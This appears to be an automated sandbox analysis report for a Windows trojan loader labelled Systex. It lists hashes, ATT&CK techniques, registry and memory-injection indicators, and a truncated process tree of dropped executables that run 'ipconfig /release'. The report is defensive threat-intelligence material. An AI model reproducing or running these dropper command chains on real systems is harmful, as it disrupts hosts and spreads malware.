systex | b3cee57be04d0433088ad8a318233014773267470a510efae3ee1179ec6439ad

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/08/2026, 15:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
Size 389KB
Sample260816-sflvda1vez
SHA256 b3cee57be04d0433088ad8a318233014773267470a510efae3ee1179ec6439ad
MD5 24e1f0d9a5623ae71d86a8a74517f307
SHA1 ca99f8cae0438cde9aa087da8684d2d4e7adca74
SHA512 2313b3916eddd12254117bf50c096945746cba11de18a7b6144c6700fa0328f665c8ccf7f89348a56d2ea889938cabd16f31679e70b5e80f63ada454fe3699cd
SSDEEP 3072:9uxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:9uxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T127847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5832	pkicaxspkhfzxvpn.exe
2956	CreateProcess.exe
2284	pkicaxspkhfzxvpn.sys
5596	vpnhfzxvsn.exe
3044	CreateProcess.exe
4316	CreateProcess.exe
1304	i_vpnhfzxvsn.exe
4324	xrpjhczurp.sys
5364	CreateProcess.exe
960	rpjhczurmk.exe
2876	CreateProcess.exe
1868	CreateProcess.exe
5996	i_rpjhczurmk.exe
2960	czurmkecwu.sys
2336	CreateProcess.exe
3780	uomjectrmj.exe
6116	CreateProcess.exe
2712	CreateProcess.exe
4900	i_uomjectrmj.exe
5440	hbztrljebw.sys
4264	CreateProcess.exe
3736	eywrojhbzt.exe
4684	CreateProcess.exe
3152	CreateProcess.exe
2020	i_eywrojhbzt.exe
6056	jdbwtrljge.sys
5428	CreateProcess.exe
1900	bvtqljdbvt.exe
4836	CreateProcess.exe
5996	CreateProcess.exe
5424	i_bvtqljdbvt.exe
5868	dbytqoigby.sys
1904	CreateProcess.exe
672	jdbvtnlgdy.exe
2036	CreateProcess.exe
2812	CreateProcess.exe
1308	i_jdbvtnlgdy.exe
4780	daysqoigdy.sys
1460	CreateProcess.exe
1276	sqnigaysqk.exe
2828	CreateProcess.exe
4156	CreateProcess.exe
4324	i_sqnigaysqk.exe
4388	xsqkicausn.sys
5900	CreateProcess.exe
4752	vpnhfaxvpn.exe
1784	CreateProcess.exe
2228	CreateProcess.exe
4700	i_vpnhfaxvpn.exe
4052	faxvsnkfdx.sys
5308	CreateProcess.exe
2848	pkhfzxvpnk.exe
1520	CreateProcess.exe
3440	CreateProcess.exe
4780	i_pkhfzxvpnk.exe
1144	spkhczusmk.sys
5916	CreateProcess.exe
1512	spjhczusmk.exe
2496	CreateProcess.exe
6024	CreateProcess.exe
3028	i_spjhczusmk.exe
2736	jhezxupmke.sys
2624	CreateProcess.exe
252	jhezxrpjhb.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_339852571\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_1123472572\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_1123472572\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_1751931076\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_1751931076\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_1751931076\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_905784777\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_905784777\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5380_1751931076\llm_user_input_extractor_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkicaxspkhfzxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vpnhfzxvsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomjectrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomjectrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtqljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vpnhfaxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spjhczusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaysqlidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywrojhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqnigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhfzxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spjhczusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hebwuojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaywtoljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkicavsnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vpnhfaxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhfzxvpnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaysqlidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkicavsnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkhcausp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vpnhfzxvsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtqljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaywtoljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhezxrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hebwuojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxusnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxusnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywrojhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhezxrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkhcausp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4500	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4552	ipconfig.exe
4552	ipconfig.exe
2572	ipconfig.exe
672	ipconfig.exe
3668	ipconfig.exe
4312	ipconfig.exe
1524	ipconfig.exe
3528	ipconfig.exe
2088	ipconfig.exe
3284	ipconfig.exe
3800	ipconfig.exe
5444	ipconfig.exe
3092	ipconfig.exe
2576	ipconfig.exe
4100	ipconfig.exe
3664	ipconfig.exe
2752	ipconfig.exe
960	ipconfig.exe
5848	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134313662604408138"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{9904C5D1-E1DA-4290-A088-D0731E796DF6}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5832	pkicaxspkhfzxvpn.exe
5832	pkicaxspkhfzxvpn.exe
5832	pkicaxspkhfzxvpn.exe
5832	pkicaxspkhfzxvpn.exe
5832	pkicaxspkhfzxvpn.exe
5832	pkicaxspkhfzxvpn.exe
5832	pkicaxspkhfzxvpn.exe
5832	pkicaxspkhfzxvpn.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5380	msedge.exe
5380	msedge.exe
5380	msedge.exe
5380	msedge.exe
5380	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1304	i_vpnhfzxvsn.exe
Token: SeDebugPrivilege	5996	i_rpjhczurmk.exe
Token: SeDebugPrivilege	4900	i_uomjectrmj.exe
Token: SeDebugPrivilege	2020	i_eywrojhbzt.exe
Token: SeDebugPrivilege	5424	i_bvtqljdbvt.exe
Token: SeDebugPrivilege	1308	i_jdbvtnlgdy.exe
Token: SeDebugPrivilege	4324	i_sqnigaysqk.exe
Token: SeDebugPrivilege	4700	i_vpnhfaxvpn.exe
Token: SeDebugPrivilege	4780	i_pkhfzxvpnk.exe
Token: SeDebugPrivilege	3028	i_spjhczusmk.exe
Token: SeDebugPrivilege	1916	i_jhezxrpjhb.exe
Token: SeDebugPrivilege	2340	i_hebwuojhbz.exe
Token: SeDebugPrivilege	5564	i_bztrljdbwt.exe
Token: SeDebugPrivilege	5612	i_gaywtoljdb.exe
Token: SeDebugPrivilege	5820	i_gaysqlidav.exe
Token: SeDebugPrivilege	3572	i_qkicavsnkf.exe
Token: SeDebugPrivilege	6068	i_dxusnkfdxv.exe
Token: SeDebugPrivilege	1616	i_usmkhcausp.exe
Token: SeDebugPrivilege	3564	i_pmhfzxrpjh.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5380	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4832 wrote to memory of 5832	4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	88
PID 4832 wrote to memory of 5544	4832	2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	89
PID 5544 wrote to memory of 5380	5544	iexplore.exe	90
PID 5380 wrote to memory of 5324	5380	msedge.exe	91
PID 5380 wrote to memory of 4984	5380	msedge.exe	93
PID 5380 wrote to memory of 4500	5380	msedge.exe	94
PID 5380 wrote to memory of 4984	5380	msedge.exe	93
PID 5380 wrote to memory of 4984	5380	msedge.exe	93
PID 5380 wrote to memory of 5068	5380	msedge.exe	95
PID 5380 wrote to memory of 5068	5380	msedge.exe	95
PID 5380 wrote to memory of 4268	5380	msedge.exe	96
PID 5380 wrote to memory of 4268	5380	msedge.exe	96
PID 5380 wrote to memory of 4268	5380	msedge.exe	96
PID 5380 wrote to memory of 3328	5380	msedge.exe	97
PID 5380 wrote to memory of 3328	5380	msedge.exe	97
PID 5380 wrote to memory of 3328	5380	msedge.exe	97
PID 5380 wrote to memory of 4216	5380	msedge.exe	98
PID 5380 wrote to memory of 5588	5380	msedge.exe	99
PID 5380 wrote to memory of 4216	5380	msedge.exe	98
PID 5380 wrote to memory of 4216	5380	msedge.exe	98
PID 5380 wrote to memory of 5588	5380	msedge.exe	99
PID 5380 wrote to memory of 5588	5380	msedge.exe	99
PID 5380 wrote to memory of 2020	5380	msedge.exe	101
PID 5380 wrote to memory of 2020	5380	msedge.exe	101
PID 5832 wrote to memory of 2956	5832	pkicaxspkhfzxvpn.exe	103
PID 5596 wrote to memory of 3044	5596	vpnhfzxvsn.exe	107
PID 5380 wrote to memory of 3208	5380	msedge.exe	108
PID 5380 wrote to memory of 3208	5380	msedge.exe	108
PID 5380 wrote to memory of 2400	5380	msedge.exe	109
PID 5380 wrote to memory of 2400	5380	msedge.exe	109
PID 5380 wrote to memory of 2668	5380	msedge.exe	113
PID 5380 wrote to memory of 2416	5380	msedge.exe	114
PID 5380 wrote to memory of 2416	5380	msedge.exe	114
PID 5380 wrote to memory of 6016	5380	msedge.exe	117
PID 5380 wrote to memory of 6016	5380	msedge.exe	117
PID 5832 wrote to memory of 4316	5832	pkicaxspkhfzxvpn.exe	119
PID 5832 wrote to memory of 5364	5832	pkicaxspkhfzxvpn.exe	123
PID 960 wrote to memory of 2876	960	rpjhczurmk.exe	125
PID 5832 wrote to memory of 1868	5832	pkicaxspkhfzxvpn.exe	128
PID 5832 wrote to memory of 2336	5832	pkicaxspkhfzxvpn.exe	132
PID 3780 wrote to memory of 6116	3780	uomjectrmj.exe	134
PID 5832 wrote to memory of 2712	5832	pkicaxspkhfzxvpn.exe	137
PID 5832 wrote to memory of 4264	5832	pkicaxspkhfzxvpn.exe	142
PID 3736 wrote to memory of 4684	3736	eywrojhbzt.exe	144
PID 5832 wrote to memory of 3152	5832	pkicaxspkhfzxvpn.exe	147
PID 5380 wrote to memory of 476	5380	msedge.exe	149
PID 5380 wrote to memory of 2284	5380	msedge.exe	150
PID 5380 wrote to memory of 1784	5380	msedge.exe	151
PID 5832 wrote to memory of 5428	5832	pkicaxspkhfzxvpn.exe	154
PID 1900 wrote to memory of 4836	1900	bvtqljdbvt.exe	156
PID 5832 wrote to memory of 5996	5832	pkicaxspkhfzxvpn.exe	159
PID 5832 wrote to memory of 1904	5832	pkicaxspkhfzxvpn.exe	163
PID 5832 wrote to memory of 2812	5832	pkicaxspkhfzxvpn.exe	168
PID 5832 wrote to memory of 1460	5832	pkicaxspkhfzxvpn.exe	172
PID 1276 wrote to memory of 2828	1276	sqnigaysqk.exe	174
PID 5832 wrote to memory of 4156	5832	pkicaxspkhfzxvpn.exe	177
PID 5832 wrote to memory of 5900	5832	pkicaxspkhfzxvpn.exe	181
PID 4752 wrote to memory of 1784	4752	vpnhfaxvpn.exe	183
PID 5832 wrote to memory of 2228	5832	pkicaxspkhfzxvpn.exe	186
PID 5380 wrote to memory of 2044	5380	msedge.exe	188
PID 5380 wrote to memory of 2044	5380	msedge.exe	188
PID 5832 wrote to memory of 5308	5832	pkicaxspkhfzxvpn.exe	194
PID 2848 wrote to memory of 1520	2848	pkhfzxvpnk.exe	196
PID 5832 wrote to memory of 3440	5832	pkicaxspkhfzxvpn.exe	199

C:\Users\Admin\AppData\Local\Temp\2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-16_24e1f0d9a5623ae71d86a8a74517f307_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4832
- C:\Temp\pkicaxspkhfzxvpn.exe
  C:\Temp\pkicaxspkhfzxvpn.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vpnhfzxvsn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2956
  - - C:\Temp\vpnhfzxvsn.exe
      C:\Temp\vpnhfzxvsn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5596
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3044
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:960
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vpnhfzxvsn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4316
  - - C:\Temp\i_vpnhfzxvsn.exe
      C:\Temp\i_vpnhfzxvsn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1304
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpjhczurmk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5364
  - - C:\Temp\rpjhczurmk.exe
      C:\Temp\rpjhczurmk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:960
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2876
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2572
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpjhczurmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1868
  - - C:\Temp\i_rpjhczurmk.exe
      C:\Temp\i_rpjhczurmk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5996
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\uomjectrmj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2336
  - - C:\Temp\uomjectrmj.exe
      C:\Temp\uomjectrmj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3780
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6116
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:672
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_uomjectrmj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2712
  - - C:\Temp\i_uomjectrmj.exe
      C:\Temp\i_uomjectrmj.exe ups_ins
      4⤵
      Executes dropped EXE
